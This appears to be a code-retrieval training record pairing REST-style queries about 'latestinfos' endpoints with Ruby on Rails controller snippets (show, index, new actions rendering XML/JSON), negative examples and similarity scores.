"def feed\n\t\t\tpost = { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml = nessus_request('feed', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tfeed = docxml.root.elements['contents'].elements['feed'].text\n\t\t\tversion = docxml.root.elements['contents'].elements['server_version'].text\n\t\t\tweb_version = docxml.root.elements['contents'].elements['web_server_version'].text\n\t\t\treturn feed, version, web_version\n\t\tend",
"def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end",
"def show\n # base url of the remote data\n # append the 'id' to this to generate the remote url\n baseUrl = 'https://api.gojimo.net/api/v4/'\n\n # request the meta data from the remote server and\n # extract the time its data was last updated\n meta = open(\"#{baseUrl}#{params[:id]}\").meta\n update_at = meta[\"last-modified\"].to_date\n\n # request new data when the local data timestamp pre dates the remote data\n requires_refresh = params[:update_at].blank? || update_at > params[:update_at].to_date\n\n # request the remote data if it is newer than the local copy\n data = open(\"#{baseUrl}#{params[:id]}\").read if requires_refresh\n # parse any data since we are going to add the data to an object which is then converted to json\n data = JSON.parse(data) unless data.blank?\n\n # return any data together with timestamps and a flag to show whetjer new data was retrieved\n render json: {new_data: requires_refresh, data: data, update_at: update_at.strftime('%a %d %b %Y'), check_at: Time.now.strftime('%H:%M %a %d %b %Y')}\n\n end",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def index\n @project_news = ProjectNews.last(10)\n respond_to do |format|\n format.json {render json: @project_news, :only => [:date, :content, :tags]}\n end\n end",
"def index\n @announcements = Announcement.find(:all, :order => 'starts_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @announcements }\n end\n end",
"def show\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def last_xml_response\n @xml_response\n end",
"def version_info\n path = File.join(SERVER_ROOT, 'public', 'version_info.json')\n JSON.load File.read(path)\nend",
"def index\n @info = Info.new\n @info_contents = Info.all\n @contents = Content.find(:all, :order => \"sort_number ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contents }\n end\n end",
"def extract_latest_version (xml)\n doc = REXML::Document.new(xml)\n\n latest = nil\n REXML::XPath.each(doc, \"/metadata/versioning/versions/version\") do |el|\n if latest.nil?\n latest = el.text\n elsif gt(latest, el.text)\n latest = el.text\n end\n end\n\n unless latest.nil? then\n latest\n else\n raise LatestVersionNotDefinedError\n end\n end",
"def show\n @lastest_news = Publication.latest_news\n end",
"def full_info(sid)\n xml = get('/feeds/full_show_info.php', :query => {:sid => sid})\n xml[\"Show\"]\n end",
"def index\n @teams = Team.all\n # TODO: get only articles in the last 2 days \n @articles = Article.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @viewers }\n end\n end",
"def info() \n \treturn self.response.info()\n\tend",
"def newest\n @view = VIEWS[:newest]\n @contributions = Contribution.all.order(created_at: :desc)\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @contributions }\n end\n end",
"def get_info(options = {})\n args = standard_args(options)\n args.push('--xml')\n args.push(@repo)\n\n info_xml = svn('info', args)\n Svn::Info.parse(info_xml)\n end",
"def index\n @selector_sites = SelectorSite.curr_ver.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @selector_sites }\n end\n end",
"def index\n domain = 'www.hs-karlsruhe.de'\n site_master = '/fakultaeten/fk-iwi/masterstudiengaenge/fk-iwiim/aktuell.html' \n site_bachelor = '/fakultaeten/fk-iwi/bachelorstudiengaenge/fk-iwiib/aktuell.html' \n site_general = '/fakultaeten/fk-iwi/aktuelles.html'\n\n file_master = \"aktuell_master.html\"\n file_bachelor = \"aktuell_bachelor.html\"\n file_general = \"aktuell_general.html\"\n\n # If the data is too old, fetch new data\n Rails.logger.info(\"data is too old?\")\n Rails.logger.info(\"age: \" + (Time.now - @@lastFetch).to_s)\n @news = News.find(:all)\n\n if Time.now - @@lastFetch > 2.hour or @news.empty? then \n Rails.logger.info(\"fetching new data!\")\n # delete all stored news\n @news = Array.new\n News.delete_all\n @newsCount = 1\n\n\n\n downloadWebsite(domain, site_master, file_master)\n downloadWebsite(domain, site_bachelor, file_bachelor)\n downloadWebsite(domain, site_general, file_general)\n\n \n\n # Fetch Bachelor News\n parseForNews(file_master, \"IM\")\n parseForNews(file_bachelor, \"IB\")\n parseForNews(file_general, \"IWI\")\n\n @@lastFetch = Time.now\n end\n\n @updated_at = @@lastFetch\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def xml_last_response\n Ox.parse_obj(last_response.body)\n end"
] |
[
"0.740909",
"0.6977425",
"0.65369564",
"0.6259685",
"0.6188745",
"0.60685813",
"0.6023717",
"0.6015103",
"0.59938014",
"0.59573454",
"0.595502",
"0.5954883",
"0.5933087",
"0.5933034",
"0.59259045",
"0.5895115",
"0.5884716",
"0.5884716",
"0.58728176",
"0.5868532",
"0.5865549",
"0.58549017",
"0.5838569",
"0.5832158",
"0.5825122",
"0.5807475",
"0.5775744",
"0.5767246",
"0.57668495",
"0.57530284",
"0.57530284",
"0.57435995",
"0.57114697",
"0.570504",
"0.568131",
"0.5674508",
"0.56711644",
"0.5668818",
"0.56623966",
"0.5652971",
"0.5649259",
"0.5641157",
"0.56216687",
"0.56178486",
"0.56072557",
"0.55913013",
"0.55913013",
"0.5587948",
"0.5570899",
"0.5568836",
"0.5558267",
"0.5557711",
"0.5556235",
"0.555223",
"0.5545685",
"0.5542849",
"0.5540342",
"0.55392456",
"0.5538213",
"0.5530928",
"0.5529354",
"0.5526027",
"0.5525312",
"0.5522069",
"0.5511143",
"0.54895973",
"0.54889923",
"0.54876727",
"0.5485808",
"0.5483138",
"0.5476828",
"0.54689115",
"0.54684913",
"0.5463334",
"0.54630256",
"0.54596615",
"0.54539055",
"0.545243",
"0.54414743",
"0.5440984",
"0.54402626",
"0.54395777",
"0.54395777",
"0.54384553",
"0.54361326",
"0.5435926",
"0.54339385",
"0.54295003",
"0.5427755",
"0.5418713",
"0.5418314",
"0.5417601",
"0.54172146",
"0.54154086",
"0.5409281",
"0.5407179",
"0.5406917",
"0.540674",
"0.5405293",
"0.5404033"
] |
0.7562117
|
0
|
GET /latestinfos/1 GET /latestinfos/1.xml
|
def show
@latestinfo = Latestinfo.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @latestinfo }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @latestinfos = Latestinfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @latestinfos }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def get_recent\n uri = [@@base_uri, 'all', 'getRecent'].join('/')\n return get(uri)\n end",
"def show\n\t\t@extractor = Extractor.find(params[:id])\n\t\t@latest_revision = @extractor.revisions.first(:order => \"created_at DESC\")\n\t\tif(@latest_revision) \n\t\t\t@latest_scraped_values = ScrapedValue.find_all_by_revision_id(\n\t\t\t\t@latest_revision.id,\n\t\t\t\t:include => [:annotation]\n\t\t\t)\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.rss { render :layout => false }\n\t\tend\n\tend",
"def index\n @updates_pagy, @updates = pagy(Update.with_preloads.recent, items: 5)\n respond_to do |format|\n format.html # index.html.erb\n format.xml\n format.rss { render 'index.xml.builder' }\n end\n end",
"def show\n @info = Info.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def show\n @info = Info.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def latest\n @latest = apiQuery(\"items(first:1, order:UPDATED_DESC, include:[PUBLISHED,EMBARGOED]) { nodes { updated } }\").\n dig(\"items\", \"nodes\", 0, \"updated\")\n end",
"def index\n # shows only the last pages created\n @pages = Page.newer\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def info\n get '/'\n end",
"def info\n CouchRest.get \"#{@uri}/\"\n end",
"def create\n @latestinfo = Latestinfo.new(params[:latestinfo])\n\n respond_to do |format|\n if @latestinfo.save\n flash[:notice] = 'Latestinfo was successfully created.'\n format.html { redirect_to(@latestinfo) }\n format.xml { render :xml => @latestinfo, :status => :created, :location => @latestinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @news_update = NewsUpdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def index\n @news_items = NewsItem.find(:all, :order => 'updated_at desc')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @news_items.to_xml }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def index\n \n @news = News.all\n @latest_news = News.latest_news\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def getinfo\n @api.request 'getinfo'\n end",
"def index\n @news_updates = NewsUpdate.all.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news_updates }\n end\n end",
"def index\n @news = News.all(:order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def show\n @news = New.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def getinfo\n request :getinfo\n end",
"def index\n @nspirefiles = Nspirefile.all(:order => \"updated_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nspirefiles }\n end\n end",
"def show\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def info\n get(\"/api-info\")\n end",
"def index\n @active_page = :versions\n\n respond_to do |format|\n format.html\n format.xml do\n find_versions\n @versions_count = @versions.size\n @versions = @versions[ @page_limit * (@current_page - 1), @page_limit ].to_a\n render :action => :index, :layout => false\n end\n end\n end",
"def show\n @nano = Nano.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @nano.to_xml }\n end\n end",
"def show\n @news_blast = NewsBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_blast }\n end\n end",
"def fetch_latest_user_info\n\t\t@user_info = @client.execute(api_method: @info.userinfo.get).data\n\tend",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def index\n #@histories = History.all\n @histories = History.find( :all, :limit => 100, :order => \"id DESC\" )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"def get_info(refresh = false)\n if @info_got && !refresh\n return\n end\n resp = nil\n Net::HTTP.start('ext.nicovideo.jp') do |http|\n resp = http.get('/api/getthumbinfo/' + @video_id,\n {'Cookie' => 'user_session=' + @user_session.session_id})\n end\n resp.value\n xml = REXML::Document.new(resp.body)\n root = xml.root\n if root.attributes['status'] == 'ok'\n @title = root.elements['thumb/title'].text\n @description = root.elements['thumb/description'].text\n @thumbnail_url = root.elements['thumb/thumbnail_url'].text\n @first_retrieve = DateTime.parse(root.elements['thumb/first_retrieve'].text)\n length_string = root.elements['thumb/length'].text\n length_arr = length_string.split(':')\n @length = length_arr[0].to_i * 60 + length_arr[1].to_i\n @movie_type = root.elements['thumb/movie_type'].text\n @view_counter = root.elements['thumb/view_counter'].text.to_i\n @comment_num = root.elements['thumb/comment_num'].text.to_i\n @mylist_counter = root.elements['thumb/mylist_counter'].text.to_i\n @embeddable = root.elements['thumb/embeddable'].text == '1'\n @live_allowed = root.elements['thumb/no_live_play'].text == '0'\n @tags = {}\n root.elements.each('thumb/tags') do |tse|\n key = tse.attributes['domain']\n dtags = []\n tse.elements.each('tag') do |tge|\n dtags.push(Bnicovideo::Tag.new(tge.text,\n tge.attributes['lock'] == '1', tge.attributes['category'] == '1'))\n end\n @tags[key] = dtags\n end\n @user_id = root.elements['thumb/user_id'].text\n else\n @deleted = true\n end\n @info_got = true\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def show\n @live_news = LiveNews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"def latest\n url = @base_url + \"result/#{key}-latest#{format}\"\n response = RestClient.get(url)\n \n JSON.parse(response)\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def index\n @events = Event.find_upcoming(5).reverse\n @title = 'Tulevat tapahtumat'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => events }\n end\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def newest\n @client = Client.recent.first\n respond_with(@client)\n end",
"def get_info\r\n return @infoxml unless @infoxml.nil?\r\n \r\n response = Net::Flickr.instance().request('flickr.people.getInfo', 'user_id' => @id)\r\n \r\n return @infoxml = response.at('person')\r\n end",
"def show\n @changelog = Changelog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @changelog }\n end\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def info( opts = {} )\n http_action :get, nil, opts\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def show\n @tracker = Tracker.find(params[:id])\n\n respond_to do |format|\n format.html # show.erb\n format.xml { render :xml => @tracker.to_xml }\n end\n end",
"def show\n @today_activity = TodayActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @today_activity }\n end\n end",
"def show\n @last_id = LastId.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @last_id }\n end\n end",
"def show\n @reqinfo = Reqinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def show\n @update_log = UpdateLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @update_log }\n end\n end",
"def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end",
"def destroy\n @latestinfo = Latestinfo.find(params[:id])\n @latestinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(latestinfos_url) }\n format.xml { head :ok }\n end\n end",
"def recent\n @notes = Note.recently_added(12).paginate(:page => params[:page], :per_page => configatron.page_size)\n\n respond_to do |format|\n format.html # recent.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def show\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end",
"def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def show\n @packageinfo = Packageinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @packageinfo }\n end\n end",
"def index\n @admin_informations = Admin::Information.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @admin_informations }\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def index\n @info = Info.new\n @info_contents = Info.all\n @contents = Content.find(:all, :order => \"sort_number ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contents }\n end\n end",
"def update\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n if @latestinfo.update_attributes(params[:latestinfo])\n flash[:notice] = 'Latestinfo was successfully updated.'\n format.html { redirect_to(@latestinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml{\n \n }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @repository }\n end\n end",
"def show\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def show\n @versioned_jnlp = MavenJnlp::VersionedJnlp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @versioned_jnlp }\n end\n end",
"def show\n @web_info = WebInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @web_info }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def show\n @visit_stat = VisitStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end",
"def recent\n\n\t\t# GET ALL THE RECENT POSTS\n\t\t@posts_recent = Post.find(:all, :limit => 5)\n\n respond_to do |format|\n format.html { render :layout => false } # recent.html.erb\n format.xml { render :xml => @posts_recent }\n end\n end",
"def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end",
"def show\n @newz = Newz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"def index\n @infos = Info.all\n end",
"def fetch_news(last_fetch = \"#{Date.today.to_s} 00:00:00\")\n x = build_news(parse_json(@filename), last_fetch)\n end",
"def show\n \n@clicker = Clicker.find(params[:id])\n\n \nrespond_to do |format|\n \nformat.html # show.html.erb\n \nformat.xml { render :xml => @clicker+\"yyyyy\" }\n \n end\n \nend",
"def show\n @tstat = Tstat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"def show\n @news = News.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def show\n @download = Download.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @download }\n end\n end",
"def show\n @download = Download.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @download }\n end\n end",
"def index\n @eversions = Eversion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eversions }\n end\n end",
"def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end",
"def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end",
"def show\r\n @info_class = InfoClass.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @info_class }\r\n end\r\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def show\n @tracker = Tracker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tracker }\n end\n end",
"def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def info(sid)\n xml = get('/feeds/showinfo.php', :query => {:sid => sid})\n xml[\"Showinfo\"]\n end",
"def get_info(id)\n url = \"http://www.omdbapi.com/?i=#{id}&y=&plot=short&r=json\"\n return_result(url)\n end",
"def info\n request('getinfo')\n end",
"def show\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def show\n @service_version = ServiceVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def show\n # base url of the remote data\n # append the 'id' to this to generate the remote url\n baseUrl = 'https://api.gojimo.net/api/v4/'\n\n # request the meta data from the remote server and\n # extract the time its data was last updated\n meta = open(\"#{baseUrl}#{params[:id]}\").meta\n update_at = meta[\"last-modified\"].to_date\n\n # request new data when the local data timestamp pre dates the remote data\n requires_refresh = params[:update_at].blank? || update_at > params[:update_at].to_date\n\n # request the remote data if it is newer than the local copy\n data = open(\"#{baseUrl}#{params[:id]}\").read if requires_refresh\n # parse any data since we are going to add the data to an object which is then converted to json\n data = JSON.parse(data) unless data.blank?\n\n # return any data together with timestamps and a flag to show whetjer new data was retrieved\n render json: {new_data: requires_refresh, data: data, update_at: update_at.strftime('%a %d %b %Y'), check_at: Time.now.strftime('%H:%M %a %d %b %Y')}\n\n end",
"def recent\n result = http_get(\"/services/data/v#{self.version}/recent\")\n collection_from(result.body)\n end",
"def show\n @last_hour = LastHour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @last_hour }\n end\n end",
"def http_get_early(request, response)\n params = request.query_parameters\n return http_get(request, response) if params['sabreAction'] == 'info'\n end"
] |
[
"0.7547098",
"0.70854795",
"0.63476664",
"0.61837995",
"0.61541754",
"0.6123622",
"0.6123622",
"0.61221623",
"0.607991",
"0.60474885",
"0.6028598",
"0.6016018",
"0.6003816",
"0.5990813",
"0.5973135",
"0.5944778",
"0.59419405",
"0.59249496",
"0.59249496",
"0.5896276",
"0.5894418",
"0.58914",
"0.5885576",
"0.58762693",
"0.58579904",
"0.58502024",
"0.5826995",
"0.58261406",
"0.58231145",
"0.58137566",
"0.580714",
"0.5798559",
"0.5798559",
"0.5776987",
"0.5774311",
"0.57682693",
"0.5765482",
"0.57573974",
"0.57502425",
"0.57459307",
"0.57438153",
"0.57413024",
"0.57141143",
"0.5712726",
"0.57098186",
"0.57081366",
"0.5699859",
"0.5699063",
"0.5690204",
"0.5687107",
"0.5685438",
"0.5657767",
"0.5652113",
"0.5651809",
"0.564589",
"0.5645608",
"0.5638873",
"0.5638245",
"0.5633548",
"0.56310874",
"0.56299156",
"0.5628145",
"0.56265736",
"0.5625785",
"0.56251305",
"0.562394",
"0.5621851",
"0.5615491",
"0.5610449",
"0.5605695",
"0.56001896",
"0.56001896",
"0.5582195",
"0.55813026",
"0.5566699",
"0.55598587",
"0.5556527",
"0.55532014",
"0.55510694",
"0.5550901",
"0.55508107",
"0.5547219",
"0.5544682",
"0.5544682",
"0.55382645",
"0.5535227",
"0.5535227",
"0.55321854",
"0.55297977",
"0.552935",
"0.55222124",
"0.55201113",
"0.5519853",
"0.5518",
"0.5513364",
"0.5512228",
"0.5508527",
"0.55065536",
"0.55056036",
"0.55003065"
] |
0.7528827
|
1
|
GET /latestinfos/new GET /latestinfos/new.xml
|
def new
@latestinfo = Latestinfo.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @latestinfo }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def create\n @latestinfo = Latestinfo.new(params[:latestinfo])\n\n respond_to do |format|\n if @latestinfo.save\n flash[:notice] = 'Latestinfo was successfully created.'\n format.html { redirect_to(@latestinfo) }\n format.xml { render :xml => @latestinfo, :status => :created, :location => @latestinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def show\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def index\n @latestinfos = Latestinfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @latestinfos }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def new\r\n @info_class = InfoClass.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @info_class }\r\n end\r\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def new\n @news = News.new\n @title = \"New news\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @changelog = Changelog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @changelog }\n end\n end",
"def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"def new\n @current = Current.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @current }\n end\n end",
"def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @packageinfo = Packageinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @packageinfo }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n @populate_feed_info = PopulateFeedInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def new\n @last_id = LastId.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @last_id }\n end\n end",
"def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
